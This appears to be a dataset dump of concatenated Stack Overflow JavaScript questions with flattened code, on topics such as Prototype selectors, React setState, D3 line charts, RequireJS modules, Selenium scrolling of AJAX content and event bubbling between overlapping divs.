not that secure at hashing passwords ? "JS : I 'm used to jquery , but need to use the Prototype framework for this project . I have a list of images ( jpg , png , and gif ) , some of which have are links with the < a > tag . I need to add a rel attribute only to those < a > tags that are direct links to jpg , gif , and png . The href 's have no similar style other than ending in .jpg , .png , or .gif . I can add the rel to a single link with specific href , but I ca n't figure out how to select all such links . An example of the links that need to be manipulated : And the desired result : I imagine that the final code will look something like : But I ca n't get the wildcard ( * ) to work properly . How do I use a wildcard in prototype ? < a href= '' images/01.jpg '' > < img src= '' images/01.jpg '' width= '' 500 '' / > < /a > < br > < a href= '' http : //www.example.com/ '' > < img src= '' images/02.jpg '' width= '' 500 '' > < /a > < br > < a href= '' images/03.png '' > < img src= '' images/03.png '' width= '' 500 '' / > < /a > < br > < img src= '' images/04.jpg '' width= '' 500 '' > < br > < a href= '' images/01.jpg '' rel= '' whatever '' > < img src= '' images/01.jpg '' width= '' 500 '' / > < /a > < br > < a href= '' http : //www.example.com/ '' > < img src= '' images/02.jpg '' width= '' 500 '' > < /a > < br > < a href= '' images/03.png '' rel= '' whatever '' > < img src= '' images/03.png '' width= '' 500 '' / > < /a > < br > < img src= '' images/04.jpg '' width= '' 500 '' > < br > < script type= '' text/javascript '' > Event.observe ( window , 'load ' , function ( ) { $ $ ( ' a [ href= '' *.jpg '' , '' *.png '' ] ' ) .each ( function ( link ) { link.writeAttribute ( 'rel ' , 'whatever ' ) ; } ) ; } ) ; < /script >",How can I select all links to images in Prototype JS : I am having two ng-repeat for child and parent divs as followsI wan na get child and parent indexes . How can I fetch ? < div ng-repeat= '' stage in stages '' > < div ng-repeat= '' step in steps '' > < button ng-click= '' clickedStageAndStep ( $ index ) '' > < /div > < /div > $ scope.clickedStageAndStep = function ( index ) { console.log ( `` Step Index : `` + index ) } ;,AngularJS - How to get two indexes JS : Button Component ( Child ) Index ( Parent ) in return in render function There is no issue in my code but my way of approaching to the function is not good practice I believe . What I am doing here is I made button component ( Child ) and calling it four times in the parent ( index ) . I created onClick props to call function and then set state.Is there any alternative method that I can create one function with 4 setState and call the state according to the button id which is clicked . To Make it more clear.Button 1 clicked = > call singlefunction = > setstate1Button 2 clicked = > cal singlefunction = > setstate 2 ... export default class Button extends React.Component { render ( ) { var handleToUpdate = this.props.handleToUpdate ; return ( < button onClick= { ( ) = > handleToUpdate ( this.id ) } > { this.props.title } < /button > ) ; } } < Button title= { title1 } handleToUpdate= { handleToUpdate.bind ( this ) } / > < Button title= { title2 } handleToUpdate= { handleToUpdate1.bind ( this ) } / > < Button title= { title3 } / > < Button title= { title4 } / > const title1 = `` test1 '' const title2 = `` test2 '' const title3 = `` test3 '' const title4 = `` test4 '' var handleToUpdate = this.handleToUpdate ; var handleToUpdate1 = this.handleToUpdate1 ; handleToUpdate ( ) { this.setState ( { } ) } handleToUpdate1 ( ) { this.setState ( { } ) } var handleToUpdate = this.handleToUpdate.bind ( this ) ; var handleToUpdate1 = this.handleToUpdate1.bind ( this ) ;,React js single function with multiple setstate "JS : I get the javascript errorWhen i run the following piece of code..editPRINum is a function in the same javascript . I googled the problem and looks like i have to declare in case it is a variable . However i am using this to bind a function . What should i be doing ? SCRIPT16385 : Not implemented $ j ( 'img [ id= '' edit_destination '' ] ' ) .bind ( 'click ' , function ( ) { document.getElementById ( `` edit_destination '' ) .onclick = editPRINum ( this ) ; } ) ;",Not implemented Javascript error in IE7 when binding function "JS : I want to be able to add arbitrary text as link hrefs using wysihtml5 . For example : I want to generate this < a href= '' [ ~55~ ] '' > link < /a > I have worked out how to do this -- here 's a simplified example of what I 'm doing : The problem I now have is that , after creating a link , when this link is selected in the editor , the dialog box shows the link as `` http : //current_url/ [ ~55~ ] '' . I want it to show just `` [ ~55~ ] '' .I have tried to bind a new event to links within the editor , but I could n't work out how to do that ( since they are in an iframe ) .How can I get the wysihtml5 link dialog to show the link address without displaying the current url ? editor = new wysihtml5.Editor ( `` text_area_content '' , { toolbar : `` wysihtml5-toolbar '' } ) editor.composer.commands.exec ( `` createLink '' , { href : `` [ ~ '' +55+ '' ~ ] '' } )",wysihtml5 override link dialogue behaviour "JS : Is there a bigger difference between a self made pubsub system and what addEventListener ( ) plus using new CustomEvent ? Pseudocode implementation of pubsub ( taken from here ) : Native API : QuestionsWill both do the same job ? ( I think so ? ) So is there actually any noticeable difference ? Like performance ? What are the pros and cons of both if both ways can be used ? I personally think if you implement it yourself the API looks more elegant than using the provided API . But this is not a technical argument . : ) ResourcesDavid Walsh pub/sub articleaddEventListener ( ) Create and trigger events // Publishing to a topic : events.publish ( '/page/load ' , { url : '/some/url/path ' // any argument } ) ; // ... and subscribing to said topic in order to be notified of events : var subscription = events.subscribe ( '/page/load ' , function ( obj ) { // Do something now that the event has occurred } ) ; // ... sometime later where I no longer want subscription ... subscription.remove ( ) ; var event = new Event ( 'build ' ) ; // Listen for the event.elem.addEventListener ( 'build ' , function ( e ) { ... } , false ) ; // Dispatch the event.elem.dispatchEvent ( event ) ;",Own pubsub implementation vs using addEventListener ( ) + CustomEvent ? "JS : If I have a line like : Could I replace it with something to the tune of : Clearly that 's more verbose , but I 'm trying to understand if yield* is merely syntactic sugar , or if there 's some semantic aspect I 'm unclear on . yield* foo ( ) while ( true ) { var x = foo.next ( ) ; if ( x.done ) break ; yield x ; }",Is yield* equivalent to a while loop with plain yield in javascript ? JS : I have a bit of html like so : I need to strip off the links so I 'm just left with a couple of image tags . What would be the most efficient way to do this with jQuery ? < a href= '' # somthing '' id= '' a1 '' > < img src= '' something '' / > < /a > < a href= '' # somthing '' id= '' a2 '' > < img src= '' something '' / > < /a >,Stripping out a link in jQuery "JS : I implemented my algorithm for checking if the string passed in is unique . I feel like my algorithm is correct , but obviously in certain cases it gives the wrong results . Why ? function isUnique ( str ) { let sortedArr = str.split ( `` ) .sort ( ) ; for ( let [ i , char ] of sortedArr.entries ( ) ) { if ( char === sortedArr [ i + 1 ] ) { return false } else { return true } } } console.log ( isUnique ( 'heloworld ' ) ) // true",Check for characters in a string being unique "JS : I have the same question with itWhen use the same value in yAxis ,the plots line at the bottomThis is my code : When called it 's right.the SVG is : And called in the SVG , plots line at the bottom , but if there are not errors , it should be at top.the SVG is : Any idea what is going wrong here ? what can I do something make the plots line at the top ? Any help is appreciated . var data = [ { creat_time : `` 2013-03-19 10:28:30 '' , roundTripTime : `` 32 '' } , { creat_time : `` 2013-03-19 09:07:12 '' , roundTripTime : `` 45 '' } , { creat_time : `` 2013-03-19 08:57:09 '' , roundTripTime : `` 26 '' } , { creat_time : `` 2013-03-19 08:47:10 '' , roundTripTime : `` 90 '' } , { creat_time : `` 2013-03-19 08:37:12 '' , roundTripTime : `` 80 '' } , { creat_time : `` 2013-03-19 08:27:08 '' , roundTripTime : `` 36 '' } ] ; var data1 = [ { creat_time : `` 2013-03-19 10:28:30 '' , roundTripTime : `` 100 '' } , { creat_time : `` 2013-03-19 09:07:12 '' , roundTripTime : `` 100 '' } , { creat_time : `` 2013-03-19 08:57:09 '' , roundTripTime : `` 100 '' } , { creat_time : `` 2013-03-19 08:47:10 '' , roundTripTime : `` 100 '' } , { creat_time : `` 2013-03-19 08:37:12 '' , roundTripTime : `` 100 '' } , { creat_time : `` 2013-03-19 08:27:08 '' , roundTripTime : `` 100 '' } ] ; function draw ( data ) { var margin = { top : 20 , right : 20 , bottom : 30 , left : 50 } ; var width = 960 - margin.left - margin.right ; var height = 500 - margin.top - margin.bottom ; var parseDate = d3.time.format ( `` % Y- % m- % d % H : % M : % S '' ) .parse ; var x = d3.time.scale ( ) .range ( [ 0 , width ] ) ; var y = d3.scale.linear ( ) .range ( [ height , 0 ] ) ; var xAxis = d3.svg .axis ( ) .scale ( x ) .orient ( `` bottom '' ) .tickFormat ( d3.time.format ( `` % H : % M '' ) ) ; var yAxis = d3.svg .axis ( ) .scale ( y ) .orient ( `` left '' ) ; var line = d3.svg .line ( ) .x ( function ( d ) { return x ( d.creat_time ) ; } ) .y ( function ( d ) { return y ( d.roundTripTime ) ; } ) ; var svg = d3 .select ( `` body '' ) .append ( `` svg '' ) .attr ( `` width '' , width + margin.left + margin.right ) .attr ( `` height '' , height + margin.top + margin.bottom ) .append ( `` g '' ) .attr ( `` transform '' , `` translate ( `` + margin.left + `` , '' + margin.top + `` ) '' ) ; data.forEach ( function ( d ) { d.creat_time = parseDate ( d.creat_time ) ; d.roundTripTime = +d.roundTripTime ; } ) ; data = sortByReturnTime ( data ) ; x.domain ( d3.extent ( data , function ( d ) { return d.creat_time ; } ) ) ; y.domain ( d3.extent ( data , function ( d ) { return d.roundTripTime ; } ) ) ; svg .append ( `` g '' ) .attr ( `` class '' , `` x axis '' ) .attr ( `` transform '' , `` translate ( 0 , '' + height + `` ) '' ) .call ( xAxis ) ; svg .append ( `` g '' ) .attr ( `` class '' , `` y axis '' ) .call ( yAxis ) ; svg .append ( `` path '' ) .datum ( data ) .attr ( `` class '' , `` line '' ) .attr ( `` d '' , line ) ; } draw ( data ) ; draw ( data ) draw ( data1 ) //the y values is the same","Draw the line use the same y values , plots line at the bottom" "JS : Let us say I have the following object constructor : If I run the function in the global scope without the new keyword then bar will be set in whatever scope Foo ( ) is called in : So my idea is to do something like this : That way if I do new Foo ( 42 ) or Foo ( 42 ) , it would always return a Foo object.Is this ever a good idea ? If so , when ? When ( and why ) would it be wise to avoid this technique ? function Foo ( bar ) { this.bar = bar ; } var foo = Foo ( 42 ) ; console.log ( bar ) ; // 42console.log ( foo.bar ) ; // ERROR function Foo ( bar ) { if ( ! ( this instanceof Foo ) ) { // return a Foo object return new Foo ( bar ) ; } this.bar = bar ; }",When should I automatically create an object even if ` new ` is forgotten ? "JS : I currently have a page that displays data for different teams.I have some data that the user can click on to make it an `` on '' or `` off '' state , showing a different icon for each . It 's basically like a checklist , just without the physical checkboxes.I would like to remember which of the `` checkboxes '' have been ticked , even after the user refreshes the page or closes the browser and returns later.I have heard that localStorage is a good option , but I 'm not sure how to use it in a situation like mine.Currently I have this code : This makes rows to represent a team . The rows are retained with their color highlighting when the user looks at different teams during a browser session.This is my HTML : And some CSS to show which list items are `` on '' and `` off '' .How can the page remember the color highlighting ? team1 = { `` information1 '' : { `` name '' : `` tom '' , `` age '' : `` 34 '' } , `` information2 '' : { `` name '' : `` bob '' , `` age '' : `` 20 '' } , } ; team2 = { `` information1 '' : { `` name '' : `` betsy '' , `` age '' : `` 27 '' } , `` information2 '' : { `` name '' : `` brian '' , `` age '' : `` 10 '' } , } ; $ ( document ) .ready ( function ( ) { $ ( `` # displayObject1 '' ) .on ( `` click '' , function ( ) { switchData ( team1 ) ; } ) ; $ ( `` # displayObject2 '' ) .on ( `` click '' , function ( ) { switchData ( team2 ) ; } ) ; $ ( `` # table '' ) .on ( `` click '' , `` .on '' , function ( ) { $ ( this ) .removeClass ( `` on '' ) ; $ ( this ) .addClass ( `` off '' ) ; } ) ; $ ( `` # table '' ) .on ( `` click '' , `` .off '' , function ( ) { $ ( this ) .addClass ( `` on '' ) ; $ ( this ) .removeClass ( `` off '' ) ; } ) ; } ) ; function switchData ( object ) { $ ( `` # table '' ) .contents ( `` div '' ) .remove ( ) ; if ( ! ( 'rows ' in object ) ) { var rows = [ ] ; Object.keys ( object ) .forEach ( function ( key ) { if ( key ! = 'rows ' ) { rows.push ( $ ( ' < div class= '' row on '' > ' + object [ key ] .name + ' < /div > ' ) ) ; } } ) ; object.rows = rows ; } object.rows.forEach ( function ( row ) { $ ( ' # table ' ) .append ( row ) ; } ) ; } < div id= '' displayObject1 '' > < span > Display object 1 < /span > < /div > < div > < hr > < /div > < div id= '' displayObject2 '' > < span > Display object 2 < /span > < /div > < div id= '' table '' > < /div > .on { background-color : green ; } .off { background-color : red ; }",Saving user 's selection when refreshing the page "JS : I 've spent the last couple days researching a way to have private or protected properties in MooTools classes . Various articles ( ie , Sean McArthur 's Getting Private Variables in a MooTools Class ) provide an approach for deprecated versions of MooTools , but I have n't been able to track down a working method for MooTools 1.3+.Today , after playing with code for hours , I think I have have created a suitable solution . I say `` think , '' because I 'm really not that experienced as a programmer . I was hoping the community here could check out my code and tell my if it 's actually a valid solution , or a hackjob emulation.I really appreciate any tips ! Thanks , everyone ! EDIT : Well , this is embarrassing . I forgot to check out the obvious , obj1._data . I did n't think the this would reference the instance object ! So , I suck . Still , any ideas would be awesome ! var TestObj = ( function ( ) { var _privateStaticFunction = function ( ) { } return new Class ( { /* closure */ _privates : ( function ( ) { return function ( key , val ) { if ( typeof ( this._data ) == 'undefined ' ) this._data = { } ; /* if no key specified , return */ if ( typeof ( key ) == 'undefined ' ) return ; /* if no value specified , return _data [ key ] */ else if ( typeof ( val ) == 'undefined ' ) { if ( typeof ( this._data [ key ] ) ! = 'undefined ' ) return this._data [ key ] ; else return ; } /* if second argument , set _data [ key ] = value */ else this._data [ key ] = val ; } /* tell mootools to hide function */ } ) ( ) .protect ( ) , initialize : function ( ) { } , get : function ( val ) { return this._privates ( val ) ; } , set : function ( key , val ) { this._privates ( key , val ) ; } } ) } ) ( ) ; obj1 = new TestObj ( ) ; obj2 = new TestObj ( ) ; obj1.set ( 'theseShoes ' , 'rule ' ) ; obj2.set ( 'theseShoes ' , 'suck ' ) ; obj1.get ( 'theseShoes ' ) // ruleobj2.get ( 'theseShoes ' ) // suckobj1._privates ( 'theseShoes ' ) // Error : The method `` _privates '' can not be calledobj1._privates._data // undefinedobj1._privates. $ constructor._data // undefined",Private Properties in MooTools 1.3+ Classes "JS : I need to view a dependency tree of some sort , showing the various require ( ) s starting at a particular file . For example , if I have a server.js file like so : and a myThing.js file like so : is there a way to see that mongodb is required by server.js without manually traversing through myThing.js ? I 'd love to see a tree something like npm list generates , eg : // server.jsvar myThing = require ( './myThing ' ) ; // myThings.jsvar mongodb = require ( 'mongodb ' ) ; alex @ alex-pc ~/repos/test $ npm listtest @ 1.0.0 /home/alex/repos/test├─┬ gulp @ 3.8.11│ ├── archy @ 1.0.0│ ├─┬ chalk @ 0.5.1│ │ ├── ansi-styles @ 1.1.0│ │ ├── escape-string-regexp @ 1.0.3│ │ ├─┬ has-ansi @ 0.1.0│ │ │ └── ansi-regex @ 0.2.1│ │ ├─┬ strip-ansi @ 0.3.0│ │ │ └── ansi-regex @ 0.2.1│ │ └── supports-color @ 0.2.0│ ├── deprecated @ 0.0.1",How can I see the full nodejs `` require ( ) '' tree starting at a given file ? "JS : Consider this sample code : FiddleFrom my knowledge , this should happen : preventDefault ( ) should prevent the checkbox from being checked by the browser 's default behavior , even if the event handler is attached above in the DOM hierarchy . This part works correctly.Setting .checked = true should work as , I believe , it should be independent of the browser 's default action for the event which I 've cancelled . This part seems buggy , as if the preventDefault ( ) was affecting it -- remove the preventDefault ( ) and it works as intended.What 's the actual reason why the checkbox stays always unchecked ? I 've tested on Chrome 33 and Firefox 27 , so this does n't seem to be a browser bug.This question is mostly due to curiosity to extend my DOM/Event model knowledge . I do n't want workarounds , but rather I want to know why this example fails . < span > < input type= '' checkbox '' > < /span > $ ( 'span ' ) .click ( function ( e ) { e.preventDefault ( ) ; $ ( ' : checkbox ' ) [ 0 ] .checked = true ; } ) ;",Why does toggling a checkbox/radiobutton with JavaScript fail after calling event.preventDefault ( ) ? "JS : I have a group chat message build using Vue.js . I am currently fetching the messages which returns an array like this : At the moment I am just looping through the data and outputting each message into a separate div . What I would prefer is to group the messages when the same user has posted more than once in a row.How would I go about this ? Should it be an option server side ( maybe an optional group parameter ? ) or somehow done client side ? EDITThis is how the chat current looks : And this is the desired look : The problem if I group them by the UID/Username , is that the messages need to be output in order . So if User 1 send three messages , then User 2 send two , then User 1 sends another message , all of user 1s message will be grouped together . Rather the User 1s three messages should be grouped , then User 2s , then it should show User 1s last message . `` data '' : [ { `` id '' :1 , `` message '' : '' < p > yo < \/p > '' , `` removed '' : '' false '' , `` user '' : { `` uid '' :2 , `` metadata '' : { `` username '' : '' Testing '' } } , `` post_date '' : '' 2018-02-24 14:30 '' } , { `` id '' :2 , `` message '' : '' < p > test < \/p > '' , `` removed '' : '' false '' , `` user '' : { `` uid '' :1 , `` metadata '' : { `` username '' : '' Admin '' } } , `` post_date '' : '' 2018-02-24 22:31 '' } , { `` id '' :3 , `` message '' : '' < p > Wassup ? < \/p > '' , `` removed '' : '' false '' , `` user '' : { `` uid '' :1 , `` metadata '' : { `` username '' : '' Admin '' } } , `` post_date '' : '' 2018-02-24 22:40 '' } , { `` id '' :12 , `` message '' : '' again for testing post date '' , `` removed '' : '' false '' , `` user '' : { `` uid '' :1 , `` metadata '' : { `` username '' : '' Admin '' } } , `` post_date '' : '' 2018-03-04 00:59 '' } , { `` id '' :13 , `` message '' : '' Hello ! `` , `` removed '' : '' false '' , `` user '' : { `` uid '' :2 , `` metadata '' : { `` username '' : '' Testing '' } } , `` post_date '' : '' 2018-03-04 11:13 '' } , { `` id '' :13 , `` message '' : '' < p > Hi ! < /p > '' , `` removed '' : '' false '' , `` user '' : { `` uid '' :2 , `` metadata '' : { `` username '' : '' Testing '' } } , `` post_date '' : '' 2018-03-04 11:13 '' } , ] ,",How to group chat messages per user ? "JS : I am writing my first non-tutorial angular.js web app . I am using two smart-tables and checklist-model . Here is the first one that uses a st-safe-src of all_types that is an array of json objects that look like this ... Here is the html for the table I use to display this data : This table looks like this when I load data into it . The checkboxes get checked to match the data from my model.But when I try to do the same thing in a second smart table with more complete json objects that look like this ... Here 's the html I am using to display this data in a smart table : This table looks like this when I load data into it : I had hoped that the checkbox would be checked , but they do not get checked.If make this change ... ... the correct checkboxes get checked but just the product 's title will be posted . What do I need to do to get the checkboxs to display checked and be able to post the whole product data ? I have added a plunker example : http : //plnkr.co/edit/aPCEBV5e9Pb5np9iaY2l [ { `` _id '' : `` 56417a9603aba26400fcdb6a '' , `` type '' : `` Beer '' , `` __v '' : 0 } , { `` _id '' : `` 56456140cb5c3e8f004f4c49 '' , `` type '' : `` Skiing '' , `` __v '' : 0 } , ... < table st-table= '' displayedCollection '' st-safe-src= '' all_types '' class= '' table table-striped '' > < thead > < tr > < th st-sort= '' type '' > Types < /th > < /tr > < /thead > < tbody > < tr ng-repeat= '' x in displayedCollection '' > < td > < input type= '' checkbox '' checklist-model= '' vendor.types '' checklist-value= '' x.type '' > { { x.type } } < /td > < /tr > < tr > < td > id ( { { curid } } ) { { vendor.types } } < /td > < /tr > < /tbody > < tfoot > < tr > < td colspan= '' 5 '' class= '' text-center '' > < div st-pagination= '' '' st-items-by-page= '' itemsByPage '' st-displayed-pages= '' 7 '' > < /div > < /td > < /tr > < /tfoot > < /table > [ { `` _id '' : `` 569f047dd90a7874025b344e '' , `` product_title '' : `` Plugs '' , `` product_img_001 '' : `` p001.jpg '' , `` product_img_002 '' : `` p002.jpg '' , `` product_vid_001 '' : `` bp.mov '' , `` __v '' : 0 , `` product_sizes '' : [ `` Large '' , `` Med . `` , `` Small '' , `` 10.5 '' ] , `` product_types '' : [ `` Running Shoe '' ] } , { `` _id '' : `` 569f3958b108a7d70201b89a '' , `` product_title '' : `` Back Scratcher '' , `` product_img_001 '' : `` http : //itchy.png '' , `` product_img_002 '' : `` http : //relief-at-last.png '' , `` product_vid_001 '' : `` my-itch '' , `` __v '' : 0 , `` product_sizes '' : [ `` Large '' ] , `` product_types '' : [ `` Rocks '' ] } ] < table st-table= '' prodCollection '' st-safe-src= '' all_products '' class= '' table table-striped '' > < thead > < tr > < th st-sort= '' type '' > Products < /th > < /tr > < /thead > < tbody > < tr ng-repeat= '' x in prodCollection '' > < td > < input type= '' checkbox '' checklist-model= '' vendor.products '' checklist-value= '' x '' > { { x.product_title } } < /td > < /tr > < tr > < td > { { vendor.products } } < /td > < /tr > < /tbody > < tfoot > < tr > < td colspan= '' 5 '' class= '' text-center '' > < div st-pagination= '' '' st-items-by-page= '' itemsByPage '' st-displayed-pages= '' 7 '' > < /div > < /td > < /tr > < /tfoot > < /table > < td > < input type= '' checkbox '' checklist-model= '' vendor.products '' checklist-value= '' x.product_title '' > { { x.product_title } } < /td >",How to get checkboxes to initialize based on model ? "JS : When rendering lines in a group , the more lines i have the blurrier the result becomes . For example in the snippet below i render 500 lines , and as you can see its not the 1px width i would expect . Why is this ? is my group to big or am i making another mistake ? var canvas = new fabric.Canvas ( ' c ' ) ; var lines = [ ] ; for ( var i = 0 ; i < 500 ; i++ ) lines.push ( new fabric.Line ( [ i * 20 , 0 , i * 20 , 5000 ] ) ) ; var group = new fabric.Group ( lines , { selectable : false , lockMovementX : true , lockMovementY : true , lockRotation : true , lockScalingX : true , lockScalingY : true , lockUniScaling : true , hoverCursor : 'auto ' , evented : false , stroke : 'red ' , strokeWidth : 1 } ) ; canvas.add ( group ) ; < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/fabric.js/1.7.20/fabric.min.js '' > < /script > < canvas id= '' c '' width= '' 5000 '' height= '' 5000 '' > < /canvas >","Fabricjs , Lines in group become blurry" JS : How can I disable certain alert on the page and allow others ? I tried With this code : This wo n't work because it calls alert again and not the alert.I need to use javascript alert ( not any other libraries ) window.alert = function ( text ) { console.log ( text ) ; if ( ! text.includes ( `` rambo '' ) ) alert ( `` rambo '' ) ; } ;,Disable alert Message "JS : The following code works in a browser : When I change it to it works , too.When I change the code to it does n't work in IE 678 . I get the following error : SCRIPT5007 : Object expected.Why is this happening ? var event = event || window.event ; var eTarget = event.target || event.srcElement ; var eTargetId = eTarget.id ; var eTargetId = event.target ? event.target.id : event.srcElement.id ; var eTargetId = event.target.id || event.srcElement.id ;",Why ca n't the OR operation `` || '' replace the ternary operator `` ? : '' in this JavaScript code ? "JS : I am using Selenium WebDriver to get the content of a site . ( Note : the site has no API . Wish it did . ) The site uses AJAX to dynamically load content when the user scrolls . To get that content , I 've been using Javascript to scroll down and then trying to access the content using findElements ( ) .To be clear about the setup , the page contains several nested elements , one of which is a div with the `` GridItems '' class ( no name or id ) . This div contains many child elements with the `` Item '' class ( again , no name or id , just the class ) . I want to get every element with class `` Item '' in the div . About 25 items are accessible when the page first loads ( not necessarily visible in the current window , but available in the DOM ) , and scrolling down loads more.My main issues are as follows : first , I want to stop scrolling when I get to the bottom . However , I ca n't figure out what stopping condition to use . How can I determine when I 've reached the bottom of the page ? Window.scrollheight wo n't work , because that will give the height of the existing window , not what it will be after it 's finished adding more content . I 've thought of testing if an element at the bottom of the page is visible/clickable , but if it 's not , it may be just because it has n't loaded yet , not because it has n't been reached . Even using a Wait may not work because if it times out , I do n't know if it 's because it has n't reached the bottom , or just because it 's taking a long time to load.The second problem is that when I scroll down , it loads some more elements , but eventually , scrolling down loads more from the bottom and drops the top ones of the DOM . This means that I ca n't just scroll down to the bottom and then use findElements ( ) to get all Items , because many of the first ones will be gone . I know how many items to expect , so currently , I 'm doing the following : That is , I scroll the page three times , get all elements available after the scrolling , and add them to a list . I repeat this until there are more elements in the list than I was expecting to be found.The problem with this is that since scrolling adds a different number of items to the DOM each time , there is often overlap between what is added to the allitems list at each iteration . The Elements are just objects with unique ids an contain no information about the actual HTML , so I ca n't check if they 're duplicated . I may also lose some items if the scrolling does n't overlap perfectly . Also , since I 've scrolled down , the earlier items in the list that have fallen off the top lose their connection to the DOM and then I get a StaleElementReferenceException when I try to process them.I can process each item as I get it , I suppose , though it will make the code clunky . This will also allow me to check its actual content and find the duplicates . I 'm not sure that this will ensure that I do n't skip any.Does anyone have any suggestions for how best to do this ? Am I missing something very important/obvous here ? The other questions here on SO about AJAX content loading address somewhat different problems . ( e.g . I generally do n't have an issue with content not loading and having to wait for it , though I did include a Wait . ) It seems that there should be a better way of doing this - is there ? Sorry for the long-winded post ; I hope it was clear.Thank you so much , bsgEdit : I realize that the accepted answer only answers part of the question . For the rest of it , I found that scrolling down one screen at a time and getting all new elements each time meant that I did n't lose any . After each scroll , I got all elements loaded and did some processing to save the content of each one . This introduces a lot of redundancy , which I used a HashSet to eliminate . I stop scrolling when I reach the bottom , as determined by the code in the accepted answer . Hope this helps . int numitems = 135 ; List < WebElement > newitems ; List < WebElement > allitems = new ArrayList < WebElement > ( 50 ) ; do { //scroll down the full length of the visible window three times for ( int i=0 ; i < 3 ; i++ ) { //scroll down js.executeScript ( `` window.scrollTo ( 0 , document.body.offsetHeight ) '' ) ; } //check how many items are now available //if it runs too fast , it may get to the next line before it finishes scrolling ; //make it wait until the desired div is visible WebElement cont = ( new WebDriverWait ( driver , 100 ) ) .until ( ExpectedConditions.presenceOfElementLocated ( By.className ( `` GridItems '' ) ) ) ; //get all Items in the div newitems = cont.findElements ( By.className ( `` Item '' ) ) ; //add all the items extracted after scrolling 3 times to the list allitems.addAll ( newitems ) ; //repeat until there are more items in the general list than are expected //to be found . This is hacky ; I wish there was a better stopping condition } while ( numitems > allitems.size ( ) ) ;",Getting AJAX content loaded when scrolled with Selenium Wedriver "JS : I 'm having an issue with RequireJS . Essentially , I 'm not able to access a function defined inside another file from another one.I need to do that because I want to export a given subset of functions likeAnd accessing them from another file The fact is that usually I 'm able to do this with sub1 and sub2 , but , with submodule , I simply ca n't . I think it 's somehow caused by the dependencies in require.config.js.My require.config.js : For submodule.myFunction1 ( ) and othe two related functions I 'm getting : Uncaught ( in promise ) TypeError : Can not read property 'myFunction1 ' of undefinedThis is weird since I 'm able to do that in other situations and I really ca n't understand why this is happening . For instance , I 'm able to call sub1 and sub2 functions from main and other files but not submodule in particular.Index.htmlcommon.js contains vendors , here 's just an examplesub1.jssub2.jsI set up a Plunker with @ SergGr help that tries to replicate application 's structure but all the modules get undefined on click . On the real application this does not happen.How can I solve this ? define ( 'submodule ' , [ ] , function ( ) { let myFunction1 = function ( ) { return `` Hello '' ; } let myFunction2 = function ( ) { return `` From '' ; } let myFunction3 = function ( ) { return `` Submodule ! `` ; } return { myFunction1 : myFunction1 , myFunction2 : myFunction2 , myFunction3 : myFunction3 , } ; } ) ; define ( 'main ' , [ 'config ' , 'sub1 ' , 'sub2 ' , 'submodule ' ] , function ( config , sub1 , sub2 , submodule ) { //Config alert ( config.conf ) ; //Submodule let callSubmodule = function ( ) { alert ( submodule.myFunction1 ( ) + submodule.myFunction2 ( ) + submodule.myFunction3 ( ) ) ; } //sub1 let callSub1 = function ( ) { alert ( sub1.myFunction1 ( ) ) ; } //sub2 let callSub2 = function ( ) { alert ( sub2.myFunction1 ( ) ) ; } } ) ; require ( [ 'common ' ] , function ( ) { //contains vendors require ( [ 'config ' ] , function ( ) { //contains a js config file require ( [ 'main ' ] , function ( ) { //main file require ( [ 'sub1 ' , 'sub2 ' ] , function ( ) { //some subfiles require ( [ 'submodule ' ] ) ; } ) ; } ) ; } ) ; } ) ; //Taken from Plunker . . . < script data-main= '' common '' data-require= '' require.js @ 2.1.20 '' data-semver= '' 2.1.20 '' src= '' http : //requirejs.org/docs/release/2.1.20/minified/require.js '' > < /script > < script src= '' require.config.js '' > < /script > . . . < button onclick = `` callSubmodule ( ) '' > Call Submodule < /button > < button onclick = `` callSub1 ( ) '' > Call Sub1 < /button > < button onclick = `` callSub2 ( ) '' > Call Sub2 < /button > requirejs.config ( { baseUrl : `` '' , paths : { `` jquery '' : `` http : //code.jquery.com/jquery-latest.min.js '' } } ) ; define ( 'sub1 ' , [ 'submodule ' ] , function ( submodule ) { let myFunction1 = function ( ) { return `` called sub1 '' ; } return { myFunction1 : myFunction1 } ; } ) ; define ( 'sub2 ' , [ 'submodule ' ] , function ( submodule ) { let myFunction1 = function ( ) { return `` called sub2 '' ; } return { myFunction1 : myFunction1 } ; } ) ;",RequireJS - Can not Access External Module Function "JS : I have the following code that logs the user in and displays the `` Select Friends for Request '' dialog ( `` apprequests '' ) : The code is working with all major browsers ( Firefox , Chrome , Opera , IE11 , Safari for IOS , Android browser ) . Safari ( for Mac/PC ) is the exception : it 's opening the `` apprequests '' dialog but the dialog comes up empty . If you change the dropdown options ( to `` Friends to Invite '' and then to `` All Friends '' again ) the friend list finally appears.Any idea how to fix this bug ? Thank you ! < ! DOCTYPE html > < html xmlns= '' http : //www.w3.org/1999/xhtml '' xmlns : fb= '' http : //www.facebook.com/2008/fbml '' > < head > < title > Test < /title > < script type= '' text/javascript '' > function facebook ( ) { FB.login ( function ( response ) { if ( response.authResponse ) { var access_token = FB.getAuthResponse ( ) [ 'accessToken ' ] ; FB.ui ( { method : 'apprequests ' , message : 'Sample Title ' , max_recipients:1 } , function ( response ) { console.log ( 'OK ' ) ; } ) ; } } , { scope : 'publish_stream ' } ) ; } < /script > < /head > < body > < p > < a href= '' javascript : facebook ( ) ; '' > Test < /a > < /p > < div id= '' fb-root '' > < /div > < script type= '' text/javascript '' > ( function ( d , s , id ) { var js , fjs = d.getElementsByTagName ( s ) [ 0 ] ; if ( d.getElementById ( id ) ) return ; js = d.createElement ( s ) ; js.id = id ; js.src = `` //connect.facebook.net/es_LA/all.js # xfbml=0 & appId=XXXXXXXXXXXXXX '' ; fjs.parentNode.insertBefore ( js , fjs ) ; } ( document , 'script ' , 'facebook-jssdk ' ) ) ; < /script > < /body > < /html >",Facebook API Request Dialog not working with Safari "JS : On my web page I have two divs , A and B : The DOM looks as follows ( simplified ) . The main thing to note here , is that the divs are on the same level in the DOM hierarchy and they are not ordered by anything . Also , the outer div does not only contain A and B but also more divs C , D , E etc . B may not necessarily be overlapped by A . It could also be C , lying behind A.A click handler is attached to the outer div , capturing mouse click events on A or B in the bubbling phase . A click into the intersection of A and B will cause an click event on A which bubbles up to my click handler that is now fired . Now the problem : Under certain conditions the handler decides that the event should not be handled by A but should belong to B . If an event should be handled by B , the same click handler will be fired , but the event objects currentTarget property will be B instead of A.How can I achieve this ? I 've already looked at css3 pointer-handler and some event dispatching methods in JS , but could not really come up with a solution here.Possible solution 1 ( not cross-browser compatible ) ? : I think i might be possible to use the pointer-events css3 property . If the handler decides that the event should be handled by B , it sets the pointer-events to none . Then , it retriggers the mouse click . 